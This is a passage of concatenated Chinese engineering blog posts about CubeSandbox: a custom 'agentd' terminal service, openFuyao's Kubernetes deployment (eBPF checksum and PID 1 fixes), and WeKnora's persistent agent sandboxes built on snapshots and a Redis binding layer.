的 49983 端口。 但我们研发的 agentd，不是对 envd 的简单补缺，而是平台为 exec\_command / write\_stdin 定义并掌握语义的**专用终端会话数据面。** **之所以开发 agentd，原因有三层**：第一，我们需要一套自己定义、能够长期独立演进的终端协议，而不是把 runtime 的会话模型直接绑定在 Cube 或 E2B 的外部 API 语义上；第二，我们需要一个能直接验证"挂载后的技能和工件是否真的在 Sandbox 内可见"的接口（StatFiles），并且需要一套自己可控的 bearer-token 认证边界；第三，早期实现时我们遇到过一个具体的缺陷——Cube API 没有把创建 Sandbox 时设置的环境变量传递到 CubeMaster，导致我们原计划给每个 Sandbox 注入一个随机 AGENTD\_TOKEN 的方案无法成立，后来改成模板和 Worker 共享一个固定 token。更准确的说法是：agentd 补的是我们自己需要的契约、可控性和故障语义，不是在补 envd 缺失的通用执行能力。 | 维度 | envd | agentd | |:--|:--|:--| | 端口 | 49983 | 49984 | | 所属 | CubeSandbox 原生组件 | 本仓库模板内的服务 | | Cube 模板/初始化 | 必需 | 不承担 | | Cube 原生 SDK 命令/文件 API | 使用 | 不使用 | | 本平台 exec\_command / write\_stdin | 当前不走它 | 当前唯一执行数据面 | | 生命周期操作 | 不负责 | 不负责 | | Sandbox 创建/暂停/恢复/销毁 | Cube API / Cube SDK 负责，二者都不是该层 | 同左 | ### 3.2 agentd 的运行机制 作为模板主命令启动（PID 为 1），监听 0.0.0.0:49984，它提供的是一组很窄的 HTTP API： * `GET /healthz`：存活、版本、活跃会话数； * `POST /v1/sessions`：启动 shell 命令； * `GET /v1/sessions/{id}`：从指定 chunk 游标开始长轮询输出； * `POST /v1/sessions/{id}/stdin`：写标准输入； * `POST /v1/sessions/{id}/resize`：调整 PTY； * `DELETE /v1/sessions/{id}`：关闭会话； * 文件读取、批量 stat、从 URL 拉取并写入文件。 ### 3.3 一次命令执行的关键路径 1. 外层 Worker 根据 thread 找到或创建专属的 Sandbox，准备好 workspace、上传文件、技能和持久目录挂载； 2. Worker 通过 CubeProxy 拼出 `http(s)://49984-<sandbox-id>.<domain>` 这个地址访问 agentd，而不是调用 Cube SDK 原生的 command API； 3. agentd 为这次执行创建独立进程组，TTY 命令走 PTY，非 TTY 命令分别捕获 stdout 和 stderr；输出写进一个带单调 chunk\_id、有容量上限的内存 ring buffer，外层 Worker 用游标轮询增量，不会重复上报同一段输出； 4. 短命令直接返回终态，长命令返回 session\_id，Worker 把它映射成我们自己的 write\_stdin 会话，在后台持续轮询、上报输出和退出结果； 5. timeout\_ms 会取消进程，会话结束后保留短暂 TTL 再回收，只有 CubeSandbox 断连或 agentd 持续不健康时，Worker 才会把这个会话判定为 session\_lost。 这套机制真正解决的问题，不是"能不能跑 shell 命令"，而是把我们自己需要的一整套终端语义固定下来——PTY、标准输入、chunk 游标、输出截断、明确的 timeout/exit 状态、会话丢失判定，以及这些状态和平台自身持久化任务状态之间的一致映射。 ![CubeSandbox 路径中 agentd 的运行方式](./assets/2026-09-17-huajiao/03-agentd-runtime.jpg) *图 3：CubeSandbox 路径中 agentd 的运行方式* envd 和 agentd 目前是并存分工的关系：envd 跑在 49983 端口，是 CubeSandbox 的原生组件，Cube 模板初始化必需，Cube 原生 SDK 的命令和文件 API 走它；agentd 跑在 49984 端口，是我们模板里自带的服务，不承担模板初始化，也不使用 Cube 原生 SDK，是我们当前唯一的执行数据面。两者都不负责沙箱的创建、暂停、恢复、销毁这类生命周期操作，这部分始终由 Cube API 和 SDK 负责。部署脚本会把两个端口同时暴露，写进模板状态：envd\_port=49983、agentd\_port=49984。agentd 是模板里的主命令，但这不等于它接管了 Cube 的基础设施职责——Cube 仍然需要原生的 envd 来完成模板就绪和初始化，我们只是在一个已经创建、且网络可达的 Sandbox 上，把自己的终端和文件协议直接代理到 agentd 上。用我们自己的话来说，agentd 抹平的是执行环境类型——不管底层是 CubeSandbox 还是别的沙箱方案，业务侧对接的都是同一套 agentd 协议，不需要感知底下具体跑的是什么。 ## 四、一次资源认知的纠偏 资源分配上，我们走过一段完整的认知纠偏。最初对沙箱的理解不足，以为资源是按实际用量动态分配的，不知道还有预分配资源这层机制，所以没有对沙箱做任何规格配置。 内存不够之后，云服务器先触发了监控告警，我们紧急扩容了云服务器。当时没有细究这次内存不足具体是 OOM、卡死还是变慢，先把问题压下去，事后才回头看了一下 CubeSandbox 的默认配置，发现这套默认值本身还算合理，就没再调整。 基于这次经历，我们现在的资源规划分成了两层：测试环境用一台小规格云服务器，线上环境用一台中高规格服务器，同时做了沙箱的闲置回收机制，结合云服务器自身的监控告警去动态调整服务器规格。我们给其他在使用沙箱的团队一个参考建议是：明确沙箱的定位，把它当成一个高性能、强隔离的虚拟机去用，而不要预设它会像某种弹性资源池那样按实际使用自动伸缩。 ## 写在最后 回过头看，这套实践里最值得记录的，是我们的两层思考： * 一层是"执行环境是可配置的，沙箱只是其中一个选项"，这层思考把隔离决策下放到了每个 Agent 自己身上； * 另一层是"CubeSandbox 提供的原生协议不必是我们唯一依赖的协议"，agentd 的存在证明了我们愿意在 CubeSandbox 的原生数据面之上，再补一层自己完全掌控的终端语义。 这两层思考共同指向同一个结论——沙箱是被我们反复验证、按需选用的一个组件，不是被默认套用的标配。 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-17-openfuyao.md description: >- openFuyao 是面向通算和智算集群软件技术创新的开源社区，其算力基础设施统一构建在 K8s 上。openFuyao Agent 沙箱 SIG 团队把整套 CubeSandbox 搬进了 K8s 集群，实现了「K8s 管节点，CubeSandbox 管沙箱」。本文记录这项分工背后的技术思考和演进：哪些职责交给 K8s、哪些留给 CubeSandbox、边界画在哪里，以及网络、进程、特性语义和调度问题如何逐一解决。 --- # Kubernetes 中运行 CubeSandbox 的部署与落地应用实践 作者｜openFuyao 社区 Agent 沙箱 SIG · 王文涛（全栈工程师）／李爱华（Maintainer） **编者按｜** openFuyao 是面向通算和智算集群软件技术创新的开源社区，其算力基础设施统一构建在 K8s 上。openFuyao Agent 沙箱 SIG 团队把整套 CubeSandbox 搬进了 K8s 集群，目标是让沙箱计算节点像普通工作负载一样，被 K8s 弹性扩缩、滚动升级。 在实践过程中，openFuyao Agent 沙箱 SIG 团队通过多个层面的技术创新，实现了 K8s 管节点，CubeSandbox 管沙箱。这篇实践记录的是这项"分工"背后的技术思考和演进：哪些职责交给 K8s、哪些留给 CubeSandbox、边界画在哪里；路径上遇到的网络、进程、特性语义和调度问题，又该如何逐一解决。 ## 一、为什么把 CubeSandbox 跑进 K8s CubeSandbox 开源早期的时候，默认的部署形态是基于物理机直接部署。 * 控制面（CubeAPI / CubeMaster / CubeProxy / CoreDNS），Docker Compose 管理（MySQL/Redis） * 计算面（Cubelet / network-agent / CubeShim / CubeHypervisor）以宿主机进程形式运行。 这套形态在裸金属单机或多机集群上开箱即用，但是在大规模集群管理上还存在诸多不便。 我们当前的算力基础设施统一构建在 K8s 上。所有工作负载的交付、调度、弹性扩缩、监控和配置，都由 K8s 承担。CubeSandbox 如果保留物理机部署形态，我们就要在同一个平台上维护两套运维体系：发布一套走 K8s CI/CD、一套走 systemd；监控一套接 Prometheus + K8s events、一套走宿主机 agent；证书、配置、密钥的轮转各走各的通道。心智成本是双倍的。 而我们期望的最终形态是：沙箱计算节点需要像普通工作负载一样被 K8s 弹性扩缩、滚动升级。 所以，我们**把 CubeSandbox 的控制面、数据面和计算面都封装成标准 K8s workload，让 K8s 承担基础设施编排，让 CubeSandbox 自身承担沙箱的生命周期管理与调度**。整体架构不侵入 K8s 的 APIServer、Scheduler、etcd 核心控制面，只使用 K8s 标准原语（CRD / Operator / 原生调度），不额外引入编排组件。我们此前已将方案作为 [discussion #636（CubeSandbox on Kubernetes](https://github.com/TencentCloud/CubeSandbox/discussions/636)）提交到社区讨论。 ## 二、基于 K8s 的部署架构 Cube Sandbox 各组件落到 K8s 上的映射关系： | Cube 组件 | K8s 形态 | 关键点 | |:--|:--|:--| | **Cubelet + network-agent + cube-egress + CubeShim + CubeHypervisor** | **DaemonSet (Big Pod)** | 特权 pod；挂 hostPath /dev/kvm、/data/cubelet 等；sandbox 运行在 Big Pod 内部 | | **CubeAPI / CubeMaster / CubeProxy** | **Deployment** | Deployment+Service；其中 CubeMaster 挂载 PV，用于存储模版数据，防止重启之后，模版数据丢失 | | **MySQL / Redis** | StatefulSet | 存储业务数据 | | **CoreDNS** | 复用集群 CoreDNS | 配置 cube.app 的域名转发 | *表 1：基于 K8s 部署 CubeSandbox 方案* 这套架构里的关键是： * Cube Node 以一个 Big Pod 的方式运行，其中包含 cubelet/network-agent/cube-egress 关键业务组件； * 负责节点侧沙箱的创建/销毁/快照/网络隔离； * Big Pod 以容器网络的方式运行，沙箱网络信息基于 eBPF 管理，可以跟随该 Big Pod 的生命周期，防止污染主机网络，减少和其他 eBPF 网络管理的冲突。 ![K8s Cluster 部署架构总图](./assets/2026-09-17-openfuyao/01-k8s-cluster-architecture.jpg) *图 1：K8s Cluster 部署架构总图* 如图所示，Access Layer / Control Plane / Compute Plane 三层，每个 Cube Node 都内含一个 cubelet-Big Pod，Big Pod 内嵌 Sandbox VM。 ## 三、两个关键问题的发现与解决方案 ### 3.1 同节点访问沙箱网络不通 把计算面运行在 Big Pod 之后，我们很快遇到最难忘的问题——把它整理成了 [issue #443](https://github.com/TencentCloud/CubeSandbox/issues/443)。 问题现象是： * 宿主机节点 IP 76.0.121.10 * cubelet/network-agent 所在 Big Pod IP 172.24.205.149 * 沙箱 IP 192.168.0.3，监听端口 49999，eBPF 将端口映射到 Pod 端口 20007。 我们把现象整理成 5 个对照场景： | 场景 | 来源 | 目标 | 结果 | |:--|:--|:--|:--| | 1 | 另一主机节点 76.0.145.47 | 76.0.121.10:20007/health | ✅ OK（在 76.0.121.10 上加了路由，把 :20007 转发到 pod 172.24.205.149:20007） | | 2 | cubelet 所在 pod 自身（172.24.205.149） | 192.168.0.3:49999/health（直连沙箱 IP） | ✅ OK | | 3 | 同节点另一个 pod cubeproxy（172.27.205.177） | 172.24.205.149:20007/health | ❌ 无响应 | | 4 | 同节点宿主机 76.0.121.10 | 172.24.205.149:20007/health | ❌ 无响应 | | 5 | cubelet 所在 pod 自身（172.24.205.149） | 172.24.205.149:20007/health（走 podIP:映射端口） | ❌ 无响应 | 一句话总结现象：**只要流量从同节点进来、且目标是「映射端口」（podIP:20007），就一定不通；而跨节点（经节点物理 IP + 路由）或直连沙箱 IP 则正常。** 我们从「现象」到「根因」的主要分析步骤： 1. **先排除应用层**：场景 2 能通，说明沙箱服务本身、TAP 设备、from\_cube 方向都没问题；问题只出在「外部 → 映射端口」这条入向路径。 2. **区分「跨节点」与「同节点」**：场景 1 通、场景 3/4/5 不通，差异在：入向流量走没走**节点物理网卡**。这是最关键的一点。 3. **使用 nettrace 抓包**：通过抓包结果分析，发现跨节点的流量在内核转发正常，同节点流量转发只有进入的沙箱流量，没有从沙箱出来的流量。 4. **在 TAP 设备上抓包**：用 tcpdump 直接挂在沙箱的 TAP 设备上（形如 z192.168.0.3），跨节点的 SYN 正常到达；同节点来源的流量出现 cksum 问题。 5. **看 BPF 程序与 map**：bpftool prog show / bpftool map show 确认 from\_world、remote\_port\_mapping 是否正常挂载、映射表里有没有 20007 → (tapIfindex, 49999) 这条记录。 6. **修改 BPF 程序，添加关键日志**：在 ebpf 程序中增加 bpf\_printk 日志打印，用于数据转发丢包问题分析，对应的日志会打印到 /sys/kernel/debug/tracing/trace\_pipe。 抓包结果和 eBPF 日志指向同一个根因：本节点流量经过 TAP 设备时 cksum 错误，被内核丢弃。代码走读确认了原因——eBPF 转发本节点流量时没有填充伪首部字段，checksum 校验必然失败。 这个 bug 背后是 CubeSandbox 上游在 virtio-net TAP 卸载能力上的一段演进史： * v0.2.0（[PR #110](https://github.com/TencentCloud/CubeSandbox/pull/110)）：hypervisor 向 guest 通告了 TSO/UFO/CSUM 卸载能力，guest 发出的 CHECKSUM\_PARTIAL 包，一旦遇到不支持对应卸载的宿主机 NIC，就会引发网络异常、甚至影响同宿主机其他流量，官方因此在 v0.2.0 **禁用**了 virtio-net TAP 的 TSO/UFO/CSUM。 * v0.4.0（[PR #505](https://github.com/TencentCloud/CubeSandbox/pull/505) + [PR #469](https://github.com/TencentCloud/CubeSandbox/pull/469)）：官方把 bpf\_csum\_diff() 换成 bpf\_{l3,l4}\_csum\_replace，并在 TAP 上启用 TX checksum/TSO 卸载，**重新启用** TSO/UFO/CSUM（回滚 #110），同时取消了对宿主机网卡 disableGRO() 的要求。其中 PR #469 的关联 issue 里，就有我们提交的 issue #443。 issue #443 提交于 v0.3.x 时期，当时 TAP 卸载仍是禁用状态；计算面跑进 pod 之后，TAP 与 pod veth 之间的卸载语义不一致时，同节点入向包的 L4 checksum 就成了「没人补」的状态，表现就是「checksum 校验过不去」。我们提交 issue 推动了定位，最终修复由上游在 v0.4.0 完成。 ### 3.2 cubelet 孤儿进程与 pod 里的 PID 1 这个问题当时发生的现象是：cubelet 进 K8s 之后 pod 无法正常运行。通过代码分析，问题出在 cubelet 自身的进程模型上——它设计时假设自己直接跑在宿主机 systemd 下，进了 pod，这套假设就和 PID 1 冲突了。 先看 cubelet 的启动流程（main.go:62-106）： 这段流程说明：进程 A 负责建立独立的 mount namespace，fork 进程 B 继承该 namespace；进程 B 反过来杀掉进程 A 以释放资源、避免进程 A 持有 ns fd 影响后续清理。最终只有进程 B（孤儿）存活，运行真正的 cubelet 服务。 核心矛盾是：进程 B 杀死了自己的父进程（进程 A），变成孤儿。容器里的孤儿会被 reparent 到 PID 1。PID 1 一旦处理不当（比如 PID 1 就是进程 A 自身，或 PID 1 退出），容器就会崩溃。 我们的解法是给 pod 引入一个真正的 init 进程：tini 作为 PID 1，entrypoint 脚本后台起 cubelet，再配上 preStop hook 和 pidfile。 三个角色各管一件事：tini 负责 reap 孤儿、转发信号；bash 负责监控进程 B、触发清理；pidfile + preStop 保证外部信号能精确定位到真正的 cubelet 进程。这个组合下，cubelet 原有的"进程 A 建 ns、进程 B 继承并杀父"模型完整保留，我们不需要为 K8s 改一行 cubelet 代码。 ## 四、Cube 特性移进 K8s 的四处语义平移 当前，在 K8s 场景下，我们使用了 Cube Sandbox 很多关键特性，例如 template 分发、snapshot 快照、pause-resume 暂停恢复、hostmount 主机挂载、egress 出站管控、网络策略、E2B 接口、ARM 适配等。 在使用的过程中，我们也遇到了一些问题，并将应对经验整理如下： **1、模板分发。** CubeMaster 的 templatecenter 负责把模板制品分发到各计算节点。在 K8s 里，模板制品落在计算面 pod 的本地盘，所以「分发」实际上是 CubeMaster → 各节点 cubelet 的点对点传输。如果 CubeMaster 或者计算面 Big Pod 重启，自身存储的 template 会丢失。 我们的经验是：针对 CubeMaster 重启丢失自身存储的 template，需要挂载 PV 持久卷；升级计算面 cubelet Big Pod 时，存储的 template，本地模板使用持久化 hostPath——让它跟随节点，而不是跟随 pod。 **2、host-mount。** 这个特性有一个语义陷阱：CubeSandbox 说的"宿主"是 cubelet 所在的机器，而 K8s 下 cubelet 自己就跑在 pod 里。要让真正的节点目录穿透到沙箱，计算面 pod 必须同时具备 hostPath 卷和特权模式，才能让真正的节点目录穿透到沙箱。 **3、网络策略默认拦截 K8s 网段。** CubeVS 有一份「始终拒绝」的 CIDR 列表：10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、127.0.0.0/8、169.254.0.0/16。**而 K8s 的 pod/cluster IP 几乎都落在这些段里**——这意味着默认情况下沙箱访问不了 K8s 内部服务（集群内的 API、数据库、其他 pod）。如果沙箱有诉求访问这些网段，必须用 allow\_out 显式放行目标 service CIDR，否则会出现「沙箱连不上集群内服务」的问题。 **4、network-agent 启动失败。** 基于 K8s Pod 部署之后，network-agent 启动时要通过网卡获取 MAC 地址。当在 pod 的容器内部署之后就拿不到 MAC，导致启动失败。我们的方案是通过\*\*「路由表解析网关 IP → 邻居表按 IP 精确匹配 → 宽松状态过滤」\*\*这三步，先解决了 K8s Pod 环境下选错网关 MAC 的问题，同时通过接受 NUD\_STALE/NUD\_PROBE 等状态，容忍 Pod 启动时 ARP 缓存尚未刷新的场景。 ## 五、K8s 调度与 CubeSandbox 自身调度的冲突 特性全部平移后，还剩最后一个"调度器冲突"问题。 **CubeSandbox 有自己的调度器**（CubeMaster，默认 overcommit\_ratio 是 CPU 3 倍 / 内存 2 倍）；而 K8s 也有 scheduler。两者的职责要分清楚，否则会有问题： * **K8s 调度的粒度是「计算面 pod」**：决定哪个节点跑 cubelet、给多少 CPU/内存 request/limit。 * **Cube 调度的粒度是「单个沙箱」**：决定一个沙箱落在哪个 cubelet（节点）上。 冲突点在资源限制上。K8s 给计算面 pod 的 resources.limits 卡得很死，Cube 的 overcommit（CPU 3x）就会被 K8s 的 cgroup 反噬——Cube 认为自己还能装下更多沙箱，K8s 的 cgroup 已经把这个 pod 的 CPU 掐死了。 我们的规避方案是：K8s 调度限制在"节点级"，沙箱装箱交给 CubeSandbox。建议计算面 pod 的 CPU/内存 limit 给足或不限，把装箱交给 Cube 自己的 overcommit 和物理负载保护；K8s 只负责这个节点是否运行 cubelet。 ## 六、给其他团队的建议 经过真实场景中的实践和摸索，我们想给其他在 K8s 上落地 CubeSandbox 的团队三条建议： 1. **把 K8s 调度限制在「节点级」，把沙箱装箱交给 CubeSandbox**：计算面 pod 的资源 limit 别卡太死，否则 CubeSandbox 的 overcommit 会被 K8s cgroup 反噬。 2. **网络策略要按需放行集群内 service CIDR**：CubeVS 默认拒绝 10.0.0.0/8、172.16.0.0/12、192.168.0.0/16，沙箱连 K8s 内部服务要显式 allow\_out。 3. **计算面和控制面 pod 做专用 taint + system-node-critical 优先级**：避免被 K8s 驱逐导致沙箱雪崩。 Cube Sandbox 在 v0.6.0 中已提供 K8s 原生部署方案，部署模式和自研搭建的部署模式类似，可以快速切换到社区原生能力上，基于社区模式可以借助生态的力量，更快速的演进。结合我们的业务场景，我们也希望社区继续构建五项能力：1）跨机暂停与恢复（v0.7.0 版本中已支持，预览版）；2）跨机 Snapshot 启动沙箱（v0.7.0 版本中已支持，预览版）；3）控制面和数据面隔离，并支持数据面无断服升级；4）更高的沙箱创建吞吐；5）兼容更多基于 eBPF 的 CNI 插件（如 cilium / calico）。 --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-17-weknora.md description: >- WeKnora 是腾讯开源的企业级 LLM 知识平台，其沙箱层同时支持 Cube Sandbox、E2B、Docker 三种后端，其中 Cube Sandbox 已经跑通了会话绑定、技能快照、暂停恢复、模板管理和网络策略的完整链路。本文记录了 WeKnora 对 Cube Sandbox 的设计与建设过程，也回答一个更根本的问题：沙箱在 Agent 平台里，到底该扮演什么角色。 --- # WeKnora 基于 CubeSandbox 的 Agent 持久化运行环境建设 作者｜腾讯技术专家、WeKnora 项目 Maintainer · 陈洋、赵海龙 **编者按｜** WeKnora 是腾讯开源的企业级 LLM 知识平台，自 2025 年 8 月开源以来热度持续攀升，目前已收获 24.4k stars。它把企业的文档资产转化为 RAG 问答、ReAct 智能体和自维护 Wiki。 其沙箱层同时支持了 Cube Sandbox、E2B、Docker 三种后端，其中 Cube Sandbox 已经跑通了会话绑定、技能快照、暂停恢复、模板管理和网络策略的完整链路。这篇文章记录了 WeKnora 对 Cube Sandbox 的设计与建设过程，也回答一个更根本的问题：沙箱在 Agent 平台里，到底该扮演什么角色。 ## 一、Cube Sandbox 在 WeKnora 里的应用全景 WeKnora 最新发布的 v0.8.0，核心特性是技能沙箱运行时：会话级常驻的 Docker/E2B/Cube 沙箱后端，按空间配置网络策略。沙箱在 WeKnora 里，并不是跑一次性命令的附属执行件，而是 Agent 技能的运行环境。 Docker/E2B（含 E2B Cloud 和任意 E2B 兼容控制面）/Cube 三种后端并列。应用层不按品牌分支，走同一套 RemoteSandboxClient + 会话绑定。部署方按隔离强度和运维形态选。在 CubeSandbox 这条线上，WeKnora 的用法主要包括以下七项： | 用法 | Cube 机制 | 解决什么 | |:--|:--|:--| | **会话级持久沙箱** | Create + metadata 会话绑定 | 一个会话绑定一个沙箱，上一轮装的包、创建的文件、跑起来的服务，下一轮还在 | | **技能快照化** | CreateSnapshot（快照 ID 即 TemplateID） | 装好技能的沙箱打成快照，新会话直接从快照创建，技能秒级就位 | | **暂停恢复** | onTimeout=pause + autoResume | 空闲自动暂停，下一轮 Connect 自动恢复，内存态不丢 | | **会话文件系统** | envd Files API | 附件、产物、跨 tool call 的工作区，全部收进 /workspace | | **命令执行** | Commands API + stdin 注入 | Agent 在会话内跑脚本，执行结果可追踪 | | **模板管理** | 模板 CRUD + 独立镜像变体 | weknora-sandbox:\*-cube 镜像，携带 envd 数据面 | | **网络策略** | 出站/入站双开关 + L7 规则 | 按空间控制沙箱能不能出网、能不能被公网访问 | WeKnora 沙箱层中的三种后端，可以实现上层业务代码一行不改的条件下互换。支撑这个约束的是两层设计： * 第一层是中立接口 RemoteSandboxClient：Create、Connect、Get、List、Delete、Exec 六个生命周期方法，加上文件、快照、模板、入站令牌四个辅助接口。Cube 特有的类型、错误码和 HTTP 语义全部被翻译成中立的 DTO 和带稳定 Kind 的 RemoteError，不向外泄漏一行。 * 第二层是能力广告：应用层不写 if cube，而是在运行时查询能力访问器：会话内命令执行、会话文件系统、轮次标记、安装命令。访问器返回 nil，就表示当前配置下这个能力不可用，应用层据此决定注册哪些功能。 ![WeKnora x Cube Sandbox 集成架构示意图](./assets/2026-09-17-weknora/01-weknora-cube-architecture.jpg) *图 1：WeKnora x Cube Sandbox 集成架构示意图* CubeRemoteClient 承载了 Cube 后端的全部适配代码，收敛在单个文件中；它同时实现四个接口，所有调用划分为两个平面： | 平面 | 调用内容 | 传输路径 | |:--|:--|:--| | 控制面 | Create / Connect / List / 模板 CRUD / 快照 CRUD | 经共享网关连接池，与 E2B 后端复用同一个 transport | | 数据面（envd） | Files 操作（Write/Read/List/MakeDir/Remove/Stat）+ Commands 执行 | 保留 SDK 的代理拨号重写（ProxyNodeIP/Port/Scheme），经独立 transport 包裹 | 目前，WeKnora 主要以三种形态接入 Cube：裸金属、PVM，K8s（目前还在 preview 阶段）。 ## 二、沙箱角色的转变：从"跑完即毁"到"持久化运行环境" 用法全景里的这些能力设计和架构设计，是在经历了几次实际问题之后才逐步演化成型的。 最初的后端是 Docker，实现是每次 `docker run --rm`，跑完即毁。它暴露出三个问题：1）会话状态缺失，上一轮装的包下一轮就丢失了；2）shell 执行、附件暂存、产物收集这些能力在能力矩阵里注册不上；3）超时杀的是客户端进程，容器还在后台跑。后来改成"一会话一长驻容器"，行为才和 Cube/E2B 对齐。 但 Docker 的天花板也很明显，它实现不了我们的三个底层需求：跨主机调度、内核级隔离、内存态快照。对运行模型生成代码的场景，共享内核的隔离边界也不够。这三样缺失，把我们的选型推向了远程沙箱服务。 接入远程沙箱，WeKnora 选择走 E2B 协议。但是，转折发生在技能持久化这个需求出现的时候。技能环境要构建、要打成镜像、要管理版本，这些是控制面能力。E2B 协议同样覆盖模板构建与网络控制，两者的差异在于粒度：对运行中的沙箱直接打快照、快照 ID 作为模板使用、allowOut/denyOut 延伸至 L7 规则的出站控制。这些正是技能镜像方案所需要的能力，Cube 的控制面 API 恰好一一对应。这也是为什么 WeKnora 在 E2B 适配器之外，单独维护了一个 Cube 适配器。 WeKnora 技能持久化的最初设计是"一 skill 一卷"，即每个技能一个 volume 挂载进沙箱。因为 E2B Volumes 当时还处在 private beta 阶段，我们的首发改用了 Cube，并在动手实现前把整个方案从卷挂载换成了快照。不过这次被迫的改道，后来被证明是一条更好的路。 演进到这里，沙箱的角色已经发生了根本变化。**它不再是"拿沙箱跑个命令"的执行容器，而是 Agent 技能的持久化运行环境**，技能预装在里面，会话在里面发生，文件也"长"在里面。 ## 三、技能持久化：把快照做成发行版 技能安装的成本模型，决定了它不能摊到每个会话上。 装一个技能要做什么？解析 SKILL.md、装系统包和 Python/Node 依赖、跑安装验证。这本身就是一次长达数分钟的 agent 对话。如果用户发起会话时才现场装，太难等；每个会话各装一份，又太浪费。因此，技能环境必须冻结成不可变的产物，会话直接从这份产物启动。 那为什么选择快照而不是 volume？两者代表的是两条相反的模型。volume 是共享可写的，适合数据集；技能环境要的是"已验证、不可变"：装完后 skills 目录归 root 所有、只读，会话里临时 `pip install` 只能落到 /workspace 的 overlay，不能污染镜像。而且对依赖系统包的技能，volume 方式难以支持，还存在装好的技能被 agent 改掉的风险。 这条路能走通，依托的是 Cube 快照的四个特性。 * **快照 ID 可以直接当 CreateOptions 的 TemplateID**：会话侧根本不知道"技能"两个字，它只是换了一张模板。 * **可以对运行中的沙箱打快照**：安装过程就是普通的 exec 加文件写入，不需要另搭一套镜像构建流水线。 * XFS reflink/CoW 让"底层模板 + 一层已装依赖"的存储密度和增量成本合理。 * 快照与沙箱保活共享同一套生命周期语义，配套齐全。 完整的安装链路是这样的：从基础模板创建沙箱 → 安装器执行安装 → 校验通过 → ledger 先落库、再调 CreateSnapshot → 记录 SnapshotID。之后所有新会话用快照 ID 代替模板 ID 创建，技能秒级就位。 快照的"所有权"由指纹机制守门。指纹是 SHA-256(provider + APIKey + APIURL)——标识快照所在的提供商账户。安装路径、快照生效判断、配置解析三方从相同输入计算指纹，保证判定一致。凭据轮换后指纹不匹配，旧快照静默失效，会话自动回退基础模板，而不是拿着一个已经不存在的镜像 ID 去启动。指纹为空时，安装流程会直接拒绝记录快照，没有 owner 的指针会在会话启动时被丢弃。 选择快照方案同样需要付出代价，主要是两条。Cube 把快照和普通模板放在同一个列表接口里返回，WeKnora 的设置页必须把 snap- 前缀和快照列表减掉，否则管理员会把技能镜像当成底模选上去。另外，技能装进快照后，随安装次数累积，镜像会慢慢膨胀。 ## 四、会话持久化：保活与 /workspace Agent 会话是分钟到小时级的，中间夹着思考、等用户、等检索。如果 TTL 一到就 kill，用户下一句话就要经历一次冷启动，/workspace 里的中间文件、overlay 包、未交的产物，全部消失。 所以会话沙箱创建时就是 onTimeout=pause + autoResume：空闲把 MicroVM 冻住，省计算、保内存态，下一轮 Connect 自动唤醒。对用户来说，体感就是：对话还在，环境还在。 Docker 后端的处理方式是一个有意思的对比。Docker 的 pause 内存还占着宿主机，冻住等于不回收。所以 Docker 后端空闲是 kill，由绑定层在下次使用时重建，它对齐的语义是"没有了就当可重建"，不是保活。同一个抽象接口下，不同后端各自选择语义，这正是中立接口层的价值。 环境的另一半是文件系统。envd 的读写如果只给安装器用，Agent 在会话里就是个"瞎子"。WeKnora 把 Files API 收成会话文件系统，解决了四件事： * **附件**：对象存储才是源，会话开始时 restore 到 /workspace/input（只读约定），技能通过环境变量拿到这个目录； * **产物**：脚本写 /workspace/output，回合结束按同一棵树收集下载，不经过模型"读文件再贴聊天"，也不占用上下文； * **模型写文件**：生成的脚本直接落盘，不必塞进 shell 命令的 heredoc； * **跨 tool call 的工作区**：同一会话多次执行看到同一棵树。这才是「持久化运行环境」对模型可见的部分。 技能镜像是只读的"发行版"，/workspace 是可写的"这一轮电脑"。两套路径、两套权限，文件 API 是后者的正式入口。 ## 五、身份持久化：Redis 绑定层与孤儿回收 Cube 的 TTL 加 AutoPause 管的是 MicroVM 自己的寿命：空闲了就 pause，下次 Connect 就 resume。它不知道 WeKnora 的会话、租户、副本、技能代际。这些应用语义，全压在 Redis 绑定层上： | Cube 有的 | Redis 补的 | |:--|:--| | 沙箱 ID、TTL、pause | **会话 → 沙箱的权威绑定**（多副本 WeKnora 必须共享，内存绑定只适合单进程开发） | | 单次 Create | **生命周期锁**：create/recover/replace/delete 跨进程串行，避免同一会话起两台 VM | | metadata（我们会打上 tenant/session/config） | 绑定丢失后靠 metadata **认领**；认领不到才新建。TTL/pause 救不回"绑定写丢了" | | 沙箱自己过期 | 绑定**永不过期**（SET NX，TTL=0）。会话还在、沙箱被 pause 了，绑定必须在，才能 resume 而不是再买一台 | | 无"镜像已换"概念 | StaleAt 标记 + 轮次租约（见下） | | pause 后仍占快照存储和钱 | 孤儿回收：绑定被覆盖或 Redis 丢了之后，paused 沙箱会占据磁盘。Cube 不会按「WeKnora 还认不认」去删 | 这层设计要面对的最典型问题是计费。会话沙箱用 onTimeout=pause，绑定一旦丢失，Cube 侧就是一台 paused 的 VM，会一直占用存储空间。所以必须有一层 reaper：按 tenant metadata 定期对账，把未绑定的实例（包括 paused 的）删掉。 这两层的分工因此非常清晰：**Cube 把沙箱管活；Redis 把"这台沙箱属于哪个会话、能不能拆、该不该换镜像"管住。** ## 六、轮次租约：管理员装技能，用户正在对话 持久环境带来了一个独有的冲突：管理员在装技能，用户正在对话，意味着他们在抢同一台 VM。 这个冲突的具体场景是这样：Agent 一轮对话要多次解析沙箱：暂存附件、若干次命令执行、跑技能脚本、收产物——全都假定 /workspace 和进程还在。而技能安装常常就发生在对话中间——第一次工具调用之后管理员装完了，第二次工具调用就把 VM 拆了，这轮的草稿、已装进 overlay 的包、在跑的 exec 全部消失。模型侧的表现就是"刚才还在的文件没了。" 不拆也不行。技能安装成功后，如果已有会话不做标记，用户刚装的技能在当前对话里永远看不见——指针切换只影响新建沙箱。 WeKnora 的解法是把"声明"和"动手"分开： * **StaleAt 是声明**：镜像已经换了，但不动手。 * **BeginTurn 时 rebuild=1**：**本轮第一次 resolve 允许拆掉重建；ConsumeTurnRebuild 立刻置零。** 同轮后续 resolve 即使仍是 stale，也继续用当前沙箱。 * 没有租约（没有 AgentQA 在飞）时，stale 仍然立即重建——后台任务、空闲会话没必要拖。 * Redis 读租约失败时当有一轮在飞，不拆。 "只重建一次"防的是另一种情况：一轮之内多次解析、中间又来一次安装，反复拆 VM。票消费掉之后，本轮不再重建。进程崩溃泄漏的轮次标记由 30 分钟 TTL 兜底过期，此时重建 stale 镜像是预期行为。 ## 七、预埋的、踩出来的，和给后来者的清单 在上述这些设计里，有一部分是架构设计阶段预先埋好的： * 后端无关的 RemoteSandboxClient，能力用 capability 